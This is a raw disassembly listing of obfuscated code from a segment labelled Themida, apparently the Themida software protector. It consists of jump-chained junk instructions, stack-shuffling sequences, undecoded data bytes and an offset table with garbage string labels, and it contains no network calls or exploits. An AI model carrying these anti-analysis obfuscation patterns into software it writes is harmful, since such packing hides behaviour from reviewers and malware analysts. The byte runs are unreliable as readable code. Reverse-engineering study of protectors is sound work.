loc_542DDC:				; CODE XREF: Themida_:005396DBj
		mov	esi, 1
		push	1945h
		jmp	loc_53F8D3
; ---------------------------------------------------------------------------
		db 52h
		dd 4745BD55h, 0EA895BDCh, 7E2C15Dh, 0C104EAC1h,	49E905EAh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542E03:				; CODE XREF: Themida_:00541B45j
		xchg	ebp, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_537C43
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 0FF6567E9h, 4C481FFh,	68000000h, 3969h
		dd 0FFD4E7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_542E2D:				; CODE XREF: Themida_:0053D66Fj
		and	eax, ebx
		pop	ebx
		shr	eax, 0Ch
		jmp	loc_53F8E4
; ---------------------------------------------------------------------------
		dd 4C226857h, 475F6294h, 472FCF81h, 0F7811458h,	6C845BFCh
		dd 0FFDE3AE9h, 4BAFFh, 54010000h, 36E90424h, 5FFFFFB9h
		dd 0FFE620E9h, 4D366FFh, 3CE99C24h, 68FFFF5Ch, 57B2h, 0FF7FFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_542E79:				; CODE XREF: Themida_:005429D7j
		push	dword ptr [edi+eax*4]
		jmp	loc_53C208
; ---------------------------------------------------------------------------

loc_542E81:				; CODE XREF: Themida_:0053DFC6j
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_53E5E3
; ---------------------------------------------------------------------------

loc_542E99:				; CODE XREF: Themida_:0053E4BCj
		mov	eax, esi
		jmp	loc_53A946
; ---------------------------------------------------------------------------
		dd 6607F480h, 6645E168h, 0B5240C89h, 66EC307Bh,	0B23AE959h
		dd 0F901FFFFh, 1BF2C181h, 1DE96E01h, 33FFFFD0h,	34312434h
		dd 24343324h, 6624248Bh, 0E9240489h, 0FFFF3EEAh
; ---------------------------------------------------------------------------

loc_542ED8:				; CODE XREF: Themida_:0053A725j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jmp	loc_53A59F
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFE4EEE9h, 0C8B66FFh, 0A018E924h, 7025FFFFh, 3553BF05h
		dd 50C5340Eh, 1035D0F7h, 2D1C9339h, 20194694h, 0D1B7A92Dh
		dd 0D85DE914h, 0E800FFFFh, 98A8E951h, 0C381FFFFh, 4, 0FF76E0E9h
		dd 76C181FFh, 1574E64h,	2434FFCFh, 0FF7926E9h, 0C8B66FFh
		dd 0CAE95124h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542F4B:				; CODE XREF: Themida_:005421B2j
		mov	ecx, [esp]
		add	esp, 4
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_539B0E
; ---------------------------------------------------------------------------
		db 29h
		dd 0F5E958C1h, 0B2FFFFE3h, 0AEEA804Ah, 0E9DFCA80h, 0FFFF7E59h
		dd 2 dup(531FA5h), 9E69DDh, 593DEAh, 0FA34EDDCh, 5950D8h
		dd 7FFE0304h, 217h, 2, 1, 2, 0FA34EDDCh, 5 dup(0)
		dd offset byte_557A21
		dd offset byte_554E21
		dd offset dword_549104
		dd offset byte_551EDF
		dd offset byte_54953F
		dd offset dword_5528E8
		dd offset word_547116
		dd offset dword_548190
		dd offset byte_54E805
		dd offset dword_5536D0
		dd offset byte_54D3D3
		dd offset byte_54700D
		dd offset dword_543380
		dd offset word_54ACB6
		dd offset dword_54B680
		dd offset dword_550FDC
		dd offset dword_547A60
		dd offset word_5485BE
		dd offset dword_546484
		dd offset word_557B3A
		dd offset byte_545971
		dd offset byte_5554C3
		dd offset byte_54CF2D
		dd offset dword_5452E0
		dd offset aMGfrsskv	; "╛,GfRSИ╙╒"
		dd offset byte_548549
		dd offset dword_548558
		dd offset dword_545DC0
		dd offset byte_54CFB9
		dd offset byte_5438C9
		dd offset byte_54FC71
		dd offset word_550C42
		dd offset aMfq_		; "╛fQ╣_"
		dd offset word_55036A
		dd offset byte_553045
		dd offset word_555B12
		dd offset word_54D89A
		dd offset byte_548259
		dd offset byte_54A8AB
		dd offset word_546092
		dd offset dword_557668
		dd offset byte_55461B
		dd offset word_546D52
		dd offset byte_54DCEB
		dd offset byte_55093B
		dd offset byte_543823
		dd offset dword_54CC98
		dd offset dword_546DD8
		dd offset word_55527A
		dd offset byte_54D26B
		dd offset byte_550C23
		dd offset word_552EF6
		dd offset word_5553A6
		dd offset byte_554A55
		dd offset byte_558113
		dd offset byte_5471B9
		dd offset aN1Vssu	; "╜1ьVИSu"
		dd offset byte_552907
		dd offset byte_551113
		dd offset byte_54F971
		dd offset aLS		; "▀$$И"
		dd offset aNbSkf	; "╜│фSK■"
		dd offset byte_557F23
		dd offset dword_5541C0
		dd offset word_548482
		dd offset byte_553D75
		dd offset byte_553769
		dd offset word_54E012
		dd offset byte_546979
		dd offset dword_549230
		dd offset word_54CD1E
		dd offset byte_54DE21
		dd offset byte_5580C9
		dd offset word_54936E
		dd offset byte_5522F5
		dd offset word_544A5A
		dd offset word_5464DE
		dd offset byte_54FF4B
		dd offset byte_554281
		dd offset dword_554B18
		dd offset word_54F8C6
		dd offset byte_549FC1
		dd offset word_5461D6
		dd offset byte_5543F9
		dd offset word_547E7E
		dd offset byte_545DFB
		dd offset dword_54B8D4
		dd offset word_546F6A
		dd offset byte_54A957
		dd offset word_54EEBA
		dd offset byte_557C7B
		dd offset byte_54D857
		dd offset byte_552971
		dd offset byte_54CD6D
		dd offset dword_54FBE0
		dd offset dword_54B0D4
		dd offset byte_5434D3
		dd offset byte_54D3E9
		dd offset byte_543B39
		dd offset word_54C29A
		dd offset byte_54CBFB
		dd offset byte_54D3E1
		dd offset dword_54BD28
		dd offset byte_5517EB
		dd offset byte_548437
		dd offset byte_54DE01
		dd offset aMsw		; "╛Иw#"
		dd offset byte_55076F
		dd offset word_5475C6
		dd offset dword_545FE4
		dd offset word_5526FE
		dd offset byte_548061
		dd offset word_54CB8A
		dd offset word_54B9D6
		dd offset word_55787A
		dd offset dword_545884
		dd offset word_5564AE
		dd offset byte_545EAB
		dd offset byte_547B6F
		dd offset dword_545B38
		dd offset byte_556D35
		dd offset word_5581E2
		dd offset byte_543DFB
		dd offset word_54995A
		dd offset word_552B2A
		dd offset byte_54605D
		dd offset byte_550D6F
		dd offset dword_548138
		dd offset byte_54E0A9
		dd offset dword_54CA60
		dd offset dword_54673C
		dd offset dword_552150
		dd offset dword_54CED8
		dd offset byte_550B55
		dd offset byte_547AD5
		dd offset word_54B04E
		dd offset dword_5486B0
		dd offset word_543932
		dd offset byte_54C809
		dd offset dword_546964
		dd offset byte_54A051
		dd offset byte_54F3FB
		dd offset off_54CF8C
		dd offset dword_54DA70
		dd offset dword_5444D8
		dd offset byte_546A91
		dd offset byte_54D20B
		dd offset byte_5504C9
		dd offset byte_55312F
		dd offset word_545246
		dd offset byte_54F75F
		dd offset dword_551278
		dd offset byte_54497B
		dd offset word_545556
		dd offset byte_54439D
		dd offset word_544DA2
		dd offset byte_55465D
		dd offset dword_553268
		dd offset byte_551269
		dd offset word_547972
		dd offset word_547126
		dd offset byte_55148F
		dd offset dword_54AD24
		dd offset aNsd7		; "╜Иd7"
		dd offset byte_5440A7
		dd offset byte_550A47
		dd offset word_54DC46
; ---------------------------------------------------------------------------

loc_543254:				; CODE XREF: Themida_:0058A2CCj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61F4480h
		mov	eax, edi
		add	edi, 61F4198h
		cmp	eax, [edi+2Ch]
		jnz	short loc_543272
		jmp	short loc_543285
; ---------------------------------------------------------------------------

loc_543272:				; CODE XREF: Themida_:0054326Ej
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_543281
; ---------------------------------------------------------------------------

loc_54327C:				; CODE XREF: Themida_:00543283j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_543281:				; CODE XREF: Themida_:0054327Aj
		or	ecx, ecx
		jnz	short loc_54327C

loc_543285:				; CODE XREF: Themida_:00543270j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_543292:				; CODE XREF: Themida_:00543299j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_543292

loc_54329B:				; CODE XREF: Themida_:00543628j
					; Themida_:00543C27j ...
		lodsb
		sub	esp, 4
		jmp	loc_554D76
; ---------------------------------------------------------------------------
		dd 656CE5BAh, 81DAF770h, 0B84125E2h, 7EEA8134h,	290085DBh
		dd 0EF815AD7h, 36A95F5Ch, 7011E9h, 242C8900h, 0AF6FE6BDh
		dd 83D5F75Eh, 0D5F701EDh, 0F623E9h
		db 0
; ---------------------------------------------------------------------------

loc_5432D9:				; CODE XREF: Themida_:0054ED4Bj
		push	edi
		sub	esp, 4
		jmp	loc_543636
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 4C4815Ch, 0F000000h,	51E9C8BEh, 83000049h, 1C8904ECh
		dd 92FFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543302:				; CODE XREF: Themida_:00553E91j
		push	7B8F3710h
		jmp	loc_546CB5
; ---------------------------------------------------------------------------
		dd 0E963F680h, 8D23h, 0E924248Bh, 8649h, 0BE243489h, 58586CC3h
		dd 12C2BA52h, 0D6316FF2h, 0F73BE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543332:				; CODE XREF: Themida_:005579CCj
		sub	esp, 4
		jmp	loc_543EEB
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0FCh
		dd 257EDD4Fh, 1329039Dh, 8308E8C1h, 1FE901C0h
		db 13h,	1, 0
; ---------------------------------------------------------------------------

loc_543353:				; CODE XREF: Themida_:00555CA3j
		add	esi, 70152AF8h
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1151E668h
		sub	esi, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5475D7
; ---------------------------------------------------------------------------
dword_543380	dd 0E9E78957h, 13A5Ah	; DATA XREF: Themida_:00542FE8o
; ---------------------------------------------------------------------------

loc_543388:				; CODE XREF: Themida_:00554E54j
		add	al, 30h
		add	al, 49h
		push	bx
		push	edx
		mov	dh, 73h
		mov	bh, dh
		pop	edx
		sub	al, bh
		pop	bx
		sub	al, 95h
		jmp	loc_54EE58
; ---------------------------------------------------------------------------

loc_54339F:				; CODE XREF: Themida_:0054C114j
		pop	esp
		jmp	loc_5490E0
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 3BBA5200h, 0E93BCA02h,	0D7A5h,	0C681FE01h, 9D900B1h
		dd 0E9243C8Bh, 4723h, 47E4E950h, 0FBF0001h, 0BD740945h
		dd 0A96BDB1Eh, 0BB5FFD01h, 188315E2h, 18FBEB81h, 0FDE9307Ch
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5433EB:				; CODE XREF: Themida_:005500CAj
		xor	edi, 34CC5C6Ah
		add	ebx, edi
		pop	edi
		sub	ebx, 0C902D08Ah
		add	ebx, edi
		push	dword ptr [ebx]
		jmp	loc_54C3B5
; ---------------------------------------------------------------------------
		db 88h
		dd 3A00E9CBh, 0E3D10000h, 0BAB2E9h, 24448100h, 0EC160A04h
		dd 247C0137h, 246C8104h, 0EC160A04h, 243C8B37h,	81E38953h
		dd 4C3h, 4B85000h, 1000000h, 1C3358C3h,	241C3124h, 5C241C33h
		dd 0FFFE52E9h, 7EDC1FFh, 56E9E5D1h, 8100002Fh, 4C4h, 463D6800h
		dd 4890000h, 2474FF24h,	24048B04h, 7C34E9h
		db 0
; ---------------------------------------------------------------------------

loc_54346D:				; CODE XREF: Themida_:00549850j
		mov	edi, 0DA40274h
		or	edx, edi
		jmp	loc_553885
; ---------------------------------------------------------------------------
		db 1, 0C3h, 58h
		dd 457BEB81h, 0B2E913A8h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543487:				; CODE XREF: Themida_:005548BBj
		push	367Dh
		mov	[esp], ecx
		jmp	loc_544911
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 9B35880h, 1ED5E9h, 79166800h, 3C890000h
		dd 0ABA8E924h, 95F0000h, 34FF1C6Fh, 45D7E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5434BA:				; CODE XREF: Themida_:005456F6j
		push	ebp
		jmp	loc_549863
; ---------------------------------------------------------------------------

loc_5434C0:				; CODE XREF: Themida_:005533E5j
		push	1CE8h
		mov	[esp], eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_54F492
; ---------------------------------------------------------------------------
byte_5434D3	db 52h			; DATA XREF: Themida_:00543138o
		dd 174DBD55h, 0B3BA41E0h, 3141E017h, 242C8BEAh,	2104C483h
		dd 34FF1C57h, 24148B24h, 3D0D68h, 242C8900h, 4EF268h, 24248900h
		dd 4CA4E9h
		db 0
; ---------------------------------------------------------------------------

loc_543505:				; CODE XREF: Themida_:005436F1j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 10160A4Ch
		sub	edx, eax
		jmp	loc_557AF5
; ---------------------------------------------------------------------------

loc_54351B:				; CODE XREF: Themida_:0054E14Bj
		mov	eax, [esp]
		add	esp, 4
		sub	bl, 57h
		push	edx
		mov	dh, 30h
		xor	dh, 0D2h
		jmp	loc_54EE44
; ---------------------------------------------------------------------------

loc_54352F:				; CODE XREF: Themida_:005554BEj
		xor	ebx, 666579CBh
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_558059
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 53242C89h, 4BBh, 0E8E2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54355A:				; CODE XREF: Themida_:0054F79Bj
		mov	ecx, 43813FD4h
		or	esi, ecx
		mov	ecx, [esp]
		push	67BAh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_54A6A9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 60AB0986h, 3A3FBD55h, 0CBE96D7Bh, 5B00000Eh,	0F8BD555Bh
		dd 811EE853h, 8E6DDAC5h, 0C4F58140h, 0E90C1A43h, 11650h
		dd 306168h, 240C8900h, 0C181E189h, 4, 4C181h, 0C870000h
		dd 102FE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5435BA:				; CODE XREF: Themida_:005491F1j
		push	ebx
		mov	ebx, 3F0F0965h
		sub	ebx, 0E41DD84Bh
		xor	edi, ebx
		pop	ebx
		jmp	loc_551CEA
; ---------------------------------------------------------------------------
		dw 0A2B9h
		dd 0C1755303h, 9EE907E1h, 510000B4h, 6CE9E189h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5435E3:				; CODE XREF: Themida_:00552A87j
		push	80Ah
		jmp	loc_54CDCE
; ---------------------------------------------------------------------------

loc_5435ED:				; CODE XREF: Themida_:005539ADj
		and	edi, 675B6C6Dh
		jmp	loc_55590D
; ---------------------------------------------------------------------------
		dd 52A3B850h, 6857345Dh, 1, 0BBA525Fh, 118ED5Dh, 0D240E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543612:				; CODE XREF: Themida_:0054F359j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebx, 2FF01F99h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 0C1F9E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543636:				; CODE XREF: Themida_:005432E0j
		mov	[esp], eax
		mov	eax, 23A2159Dh
		xor	[esp+4], eax
		pop	eax
		pop	eax
		push	ebx
		mov	ebx, 4B672EA1h
		push	edx
		jmp	loc_550BAD
; ---------------------------------------------------------------------------
		dd 33C1C681h, 0EE814A9Ah, 4A6D2547h, 0C681CE01h, 4A6D2547h
		dd 33C1EE81h, 0C6814A9Ah, 7C6C665Ch, 24348759h,	0E924248Bh
		dd 1888h
; ---------------------------------------------------------------------------

loc_54367C:				; CODE XREF: Themida_:005459F3j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edi
		push	4
		jmp	loc_54773C
; ---------------------------------------------------------------------------

loc_543692:				; CODE XREF: Themida_:00553453j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5459C7
; ---------------------------------------------------------------------------

loc_54369E:				; CODE XREF: Themida_:0054E384j
		push	0F60h
		mov	[esp], edi
		mov	edi, 134C7D39h
		shl	edi, 2
		jmp	loc_54656B
; ---------------------------------------------------------------------------

loc_5436B3:				; CODE XREF: Themida_:005512D9j
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		jmp	loc_543EAA
; ---------------------------------------------------------------------------
		dw 3168h
		dd 5D1FF151h, 8108EDC1h, 25FDE9F5h, 0E9E9894Bh,	118F1h
		dd 0E904EC83h, 0DD23h
; ---------------------------------------------------------------------------

loc_5436DC:				; CODE XREF: Themida_:00557F15j
		sub	edx, 407B4850h
		add	edx, 10B6EFAh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_543505
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0F5815D24h, 276B49B3h, 7863E9h, 2434FF00h, 4EC8159h
		dd 0E9000000h, 0CC7Eh, 0B7241C89h, 31EE803Eh, 0C680FE28h
		dd 0F6805B31h, 462DE97Bh, 0F7410000h, 0D1F749D9h, 0ACC9C181h
		dd 0BF57FCA8h, 2E770BD2h, 0E95FF901h, 4D70h, 17E9C501h
		dd 5B000110h, 835FFB01h, 1C8704EBh, 9BD9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54375A:				; CODE XREF: Themida_:005555C7j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54A2E3
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 0B0172D06h, 0C601541Bh, 0D4EE8158h, 8B57E35Ch, 4DE9241Ch
		dd 5300012Ch, 34CAE9h
		db 0
; ---------------------------------------------------------------------------

loc_543789:				; CODE XREF: Themida_:005518ECj
		mov	[esp], ebx
		push	edx
		push	ebx
		jmp	loc_54A2F4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0C9E95200h, 54000042h,	9C90E95Eh, 0E8010000h
		dd 10B96E9h, 4E9C100h, 18E068h,	2AE8E900h, 248B0001h, 0E9F76624h
		dd 11D6FE9h
		db 0
; ---------------------------------------------------------------------------

loc_5437C5:				; CODE XREF: Themida_:00551603j
		sub	esp, 4
		jmp	loc_553FCA
; ---------------------------------------------------------------------------
		dd 3CBCE95Fh, 0B8500001h, 61DA3F1Ch, 208D3540h,	0ED812C02h
		dd 62006913h, 0BF57C529h, 62006913h, 8B5FFD01h,	0C4812404h
		dd 4, 0DDF74D45h, 0D2F7D587h, 0FE43E9h,	0BE565500h, 167C14h
		dd 0E262E9h, 24248B00h,	4BB0F66h, 17E99C24h
		db 96h,	2 dup(0)
byte_543823	db 81h			; DATA XREF: Themida_:0054306Co
		dd 4ECh, 0CF4FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54382E:				; CODE XREF: Themida_:005560F9j
		not	ebx
		and	ebx, 5A193B19h
		inc	ebx
		add	ebx, 3DB72D96h
		or	ebx, 186754EAh
		shr	ebx, 4
		push	ebp
		mov	ebp, 39D876B6h
		or	ebx, ebp
		jmp	loc_551593
; ---------------------------------------------------------------------------

loc_543853:				; CODE XREF: Themida_:0054B377j
		sub	ebx, 0C3CF2D5Ah
		mov	edi, 0F7627DAh
		xor	edi, ebx
		pop	ebx
		push	4B5D30EAh
		pop	ebx
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_54956F
; ---------------------------------------------------------------------------
		dd 34E5815Eh, 8157B93Dh, 0B63996C5h, 4EDC110h, 0CD81D5F7h
		dd 7E0E603Fh, 131EBE9h
		db 0
; ---------------------------------------------------------------------------

loc_543899:				; CODE XREF: Themida_:00546283j
		not	ebx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_557C71
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 1C1CE0EAh, 0CFC28174h, 2942F1CCh, 24E95AD7h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5438BF:				; CODE XREF: Themida_:00544514j
		mov	ebx, 52C20E05h
		jmp	loc_54BAA7
; ---------------------------------------------------------------------------
byte_5438C9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054302Co
		dd 0F6824h, 4890000h, 52E08924h, 13DDAE9h, 4FE95600h, 5D0000E9h
		dd 0D104EAC1h, 6BC281E2h, 29F77876h, 24148BD7h,	104C483h
		dd 8FE951DFh, 6600007Ch, 6AB450h, 3892E9E7h
		db 1, 0
; ---------------------------------------------------------------------------

loc_54390A:				; CODE XREF: Themida_:005546A5j
		xchg	edi, esi
		push	edx
		push	ecx
		mov	ecx, 3C6862D7h
		jmp	loc_553993
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 10DEFh, 0BC6453BAh, 5AD12922h, 0BA776505h
		dd 49B0E972h
		db 2 dup(0)
word_543932	dw 8B66h		; DATA XREF: Themida_:005431DCo
		dd 81682404h, 8900000Dh, 0E0892404h, 10366E9h, 61BF5700h
		dd 0C1191D1Dh, 0CF8102EFh, 288974D0h, 6203F781h, 47472C16h
		dd 15D9EF81h, 0FD2902D9h, 10B80E9h
		db 0
; ---------------------------------------------------------------------------

loc_543969:				; CODE XREF: Themida_:0054C7ADj
		or	esi, 61EE357Ch
		sub	esi, 0F1885DFEh
		jmp	loc_555B23
; ---------------------------------------------------------------------------
		dw 0F781h
aAi0us7		db 'AК0⌠И7',7,0
		db 0
; ---------------------------------------------------------------------------

loc_543985:				; CODE XREF: Themida_:005531D2j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55006B
; ---------------------------------------------------------------------------
		db 53h
		dd 356457BBh, 5BDA0131h, 1370AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5439A1:				; CODE XREF: Themida_:00557565j
		sub	esi, 130D4110h
		pop	ebp
		inc	esi
		jmp	loc_554E85
; ---------------------------------------------------------------------------

loc_5439AE:				; CODE XREF: Themida_:00557948j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5550C3
; ---------------------------------------------------------------------------

loc_5439BF:				; CODE XREF: Themida_:0054509Dj
		or	ebx, 64B62C7Bh
		jmp	loc_54DDF5
; ---------------------------------------------------------------------------

loc_5439CA:				; CODE XREF: Themida_:0054753Fj
		mov	bl, dl
		mov	[edi+28h], bl
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		push	11E2h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7B725185h
		and	edx, 0EC75BB1h
		xor	edx, 50D803B2h
		mov	ebp, edx
		pop	edx
		sub	ebp, 5A9A522Fh
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_544425
; ---------------------------------------------------------------------------
		db 87h
		dd 835C2404h, 0E3C1FFEBh, 73F38104h, 56424F77h,	7155E9h
		dd 815D5B00h, 0D0EFA0C3h, 5BDF0104h, 4C781h, 3C870000h
		dd 24248B24h, 285A68h, 24048900h, 42474FFh, 8124048Bh
		dd 4C4h, 24048F00h, 6624248Bh, 2404B30Fh, 0F835E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_543A66:				; CODE XREF: Themida_:0054703Aj
		push	ebx
		push	edx
		jmp	loc_555C64
; ---------------------------------------------------------------------------
		db 66h,	53h, 0B3h
		dd 66DA8845h, 0D588515Bh, 1580E9h, 28AFBA00h, 0CA814614h
		dd 23E45D76h, 32E2C281h, 0CA816319h, 62DD38DBh,	5B3AE281h
		dd 0DAF77A61h, 81A2E9h,	2434FF00h, 8324048Bh, 895204C4h
		dd 4C281E2h, 0E9000000h, 65F1h
; ---------------------------------------------------------------------------

loc_543AB8:				; CODE XREF: Themida_:00557520j
		add	al, 0BAh
		push	edx
		sub	esp, 4
		mov	[esp], eax
		push	55DFh
		mov	[esp], edx
		mov	dl, 4Bh
		add	dl, 0D0h
		push	ecx
		mov	cl, 30h
		jmp	loc_54C7DB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLHvc		db '▀$$h┌c',0
		align 4
		dd 7DFFE9h, 0CD815800h,	7E8741Dh, 303DF581h, 0EF01F4EAh
		dd 1D68E95Dh
		db 1, 0
; ---------------------------------------------------------------------------

loc_543AFE:				; CODE XREF: Themida_:0055390Fj
		mov	esi, 29A31839h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	esi, edx
		pop	edx
		add	[edi+24h], esi
		mov	esi, [esp]
		add	esp, 4
		add	dword ptr [edi+24h], 0B25E8A4Fh
		xor	edx, edx
		push	3DA9h
		mov	[esp], ebx
		xor	dword ptr [esp], 275C3D8Ch
		mov	eax, [esp]
		push	ecx
		push	esp
		jmp	loc_54CF5C
; ---------------------------------------------------------------------------
byte_543B39	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00543140o
		dd 4EC8124h, 89000000h,	6C68240Ch, 89000046h, 4812424h
		dd 424h, 240C8B00h, 5504C483h, 4BDh, 5DE90100h,	5AB2E9h
		db 0
; ---------------------------------------------------------------------------

loc_543B69:				; CODE XREF: Themida_:0054E4E0j
		xchg	eax, [esp]
		jmp	loc_5504E2
; ---------------------------------------------------------------------------
aRsjw		db 'RИjW',0
		db 0
; ---------------------------------------------------------------------------

loc_543B77:				; CODE XREF: Themida_:00545703j
		sub	esi, 686D2DC6h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_547B7D
; ---------------------------------------------------------------------------
aGlSS		db '╫Glй{И╠И',0
		dd 24148900h, 37C3BE56h, 0FF680B90h, 0FF137373h, 3BE92434h
		dd 56000040h, 119DBA52h, 0D68911B9h, 246C815Ah,	47A9B04h
		dd 2474013Bh, 25B76804h, 0F2E90000h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543BCB:				; CODE XREF: Themida_:00543D19j
		push	esi
		push	edi
		push	34E6h
		mov	[esp], eax
		jmp	loc_54D94A
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 6A715BD4h, 0E950D929h, 3DCh
; ---------------------------------------------------------------------------

loc_543BE8:				; CODE XREF: Themida_:00547C0Cj
		add	esp, 4
		add	ebx, 541211E1h
		sub	ebx, 5D642A83h
		push	dword ptr [ebx]
		jmp	loc_544889
; ---------------------------------------------------------------------------

loc_543C01:				; CODE XREF: Themida_:0054AF2Fj
		push	610Dh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_557FB2
; ---------------------------------------------------------------------------

loc_543C15:				; CODE XREF: Themida_:0055445Bj
		pop	ebp
		jmp	loc_55218D
; ---------------------------------------------------------------------------

loc_543C1B:				; CODE XREF: Themida_:005478DFj
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_543C2C:				; CODE XREF: Themida_:00555917j
		xor	eax, 6CC455F8h
		add	eax, 0CCD47039h
		xor	edi, eax
		pop	eax
		shl	edi, 8
		jmp	loc_552C03
; ---------------------------------------------------------------------------
		db 59h,	53h, 89h
		dd 4C381E3h, 83000000h,	1C3304C3h, 241C3124h, 8B241C33h
		dd 48F2424h, 24248B24h,	24048B66h, 535E5456h, 4BBh, 3C28E900h
		dd 0EE810000h, 530D1EB7h, 44CAEE81h, 0C68141A3h, 540C73A5h
		dd 8904EC83h, 64BF243Ch, 0C157817Ah, 0D7F707E7h, 0A876E9h
		db 0
; ---------------------------------------------------------------------------

loc_543C99:				; CODE XREF: Themida_:00551072j
		sub	esp, 4
		jmp	loc_54C3E8
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 2
		dd 0E9000000h, 10523h, 2832B450h, 0F38058E3h, 4B90438h
		dd 0D7BDE9FCh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543CBE:				; CODE XREF: Themida_:0055299Ej
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_54A0F8
; ---------------------------------------------------------------------------
		db 81h
		dd 0DC5265C1h, 0C875D59h, 30FF5C24h, 1247E9h
		db 0
; ---------------------------------------------------------------------------

loc_543CD9:				; CODE XREF: Themida_:00552FE6j
		push	ebx
		jmp	loc_553793
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0D5EA8100h, 29756F16h,	0D5C281FAh, 5F756F16h
		dd 0E902EAC1h, 1FEAh, 33242C31h, 9E9242Ch
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543D07:				; CODE XREF: Themida_:0054BDC2j
		pop	esp
		push	680Fh
		mov	[esp], ebx
		push	edi
		jmp	loc_549C6F
; ---------------------------------------------------------------------------

loc_543D16:				; CODE XREF: Themida_:0054E40Aj
		add	esp, 4
		jmp	loc_543BCB
; ---------------------------------------------------------------------------

loc_543D1E:				; CODE XREF: Themida_:00546132j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_548522
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0BFh
		dd 8151C722h, 0E16670EAh, 5AD53111h, 72D868h, 24048900h
